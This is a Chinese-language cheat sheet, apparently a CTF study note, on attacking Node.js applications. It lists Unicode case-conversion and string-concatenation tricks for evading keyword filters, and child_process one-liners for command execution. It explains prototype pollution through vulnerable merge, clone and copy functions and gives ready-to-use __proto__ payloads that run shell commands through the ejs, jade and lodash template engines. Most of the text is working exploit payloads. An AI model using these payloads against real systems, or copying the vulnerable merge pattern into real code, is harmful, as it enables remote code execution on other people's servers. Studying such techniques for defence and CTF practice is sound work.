node.js绕过

绕过

toUpperCase() / toLowerCase()

  1. 特殊字符

    'ı'.toUpperCase()='I''ſ'.toUpperCase()='S''K'.toLowerCase()='k'

命令执行 (RCE)

1
2
Object.values(require('child_process'))[5]('cat${IFS}/G*>p')
require('child_process').spawnSync('nl',['p']).stdout.toString()

绕过

关键词

obj.contructorobj["contr"+"uctor"]obj["constru".concat("ctor")]String.fromCharCode(xxx)

thiseval("th"+"is")

原型链污染

原理

对于语句 object[a][b] = value 如果可以控制a, b, value的值,将a设置为 __proto__, 就可以给object对象的原型设置一个b属性,值为value,这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

常用污染函数

merge()

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

clone()

1
2
3
function clone(obj) {
return merge({}, obj);
}

copy()

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

常见模板引擎

  • ejs

    1
    2
    3
    4
    5
    6
    7
    {"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

    {"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}

    {"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

    {"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
  • jade

    1
    {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
  • lodash

    1
    {"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}}